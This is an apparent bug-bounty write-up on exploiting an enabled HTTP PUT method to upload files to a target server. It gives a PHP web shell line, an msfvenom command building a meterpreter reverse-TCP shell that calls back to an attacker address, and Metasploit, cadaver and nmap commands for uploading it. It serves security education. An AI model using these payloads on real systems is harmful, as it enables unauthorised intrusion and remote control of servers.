HTTP PUT Method Exploit

exploiting HTTP PUT Method at private program while doing some recon and create malicious files on the server.

Last updated 2 years ago

Was this helpful?

HTTP PUT Method Exploit

exploiting HTTP PUT Method at private program while doing some recon and create malicious files on the server.

Hello Hackers, Hope you are well !!

Today I'll talk about one of the most basic web attacks that recently faced me while doing bug hunting at private program which is exploiting enabled HTTP PUT Method.

What is PUT?

The HTTP PUT method is normally used to upload data that is saved on the server at a user-supplied URL. If enabled, an attacker may be able to place arbitrary, and potentially malicious, content into the application. Depending on the server's configuration, this may lead to compromise of other users (by uploading client-executable scripts), compromise of the server (by uploading server-executable code), or other attacks.

Syntax

PUT /new.html HTTP/1.1

Example

Request

PUT /new.html HTTP/1.1
Host: example.com
Content-type: text/html
Content-length: 16

<p>New File</p>

Responses

HTTP/1.1 201 Created
Content-Location: /new.html

HTTP/1.1 204 No Content
Content-Location: /existing.html

Real Life Scenario

since this program have a small scope i got some few IPs, in this situation i prefer using Nmap on masscan.

after few minutes i got very interesting result which was something like this.

without wasting any time i quickly opened metasploit to check if PUT method allowing uploading or creating any files in this subdomain.

Exploit using Metasploit

create some test txt file to try uploading it to web server

by using auxiliary/scanner/http/http_put module on metasploit we can scan http put method

after visiting this path on vulnerable domain we can notice that the injection worked fine.

Exploit with Burpsuit

by intercepting GET request to http://redact.redact.redact.target.com and change it to PUT, we can create files & and add any content to it.

send Get request to this newly created file http://redact.redact.redact.target.com/strik3rpoc.php we can see that it`s also created successfully.

⭐ Golden TIP: "always try to escalate". with that being said, i tried to get Remote Code Execution by creating some malicious php code in this file.

<?php system($_GET['cmd']); ?>

attempt to execute any command with injected parameter cmd but got nothing back.

Tried many ways to get commands runs but no luck 😥 the file is always reflecting it`s content without execute any command.

Exploit With Cadaver & Metasploit Framework

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.179.141 LPORT=4444 -f raw > shell.php

Now run Cadaver tool which is already installed in every Kali Linux machine. Cadaver is a command line tool that support uploading and downloading of a files on webdav.

To run Cadaver, the command is:

cadaver http://target.com/

If all is good till now we can upload the shell.php file which you’ve created with msfvenom.

but i do not know why it did`t work with me ¯\_(ツ)_/¯

nmap -p 80 target.com –-script http-put –-script-args http-put.url='strik3r_nmap.php",http-put.file="/root/shell.php'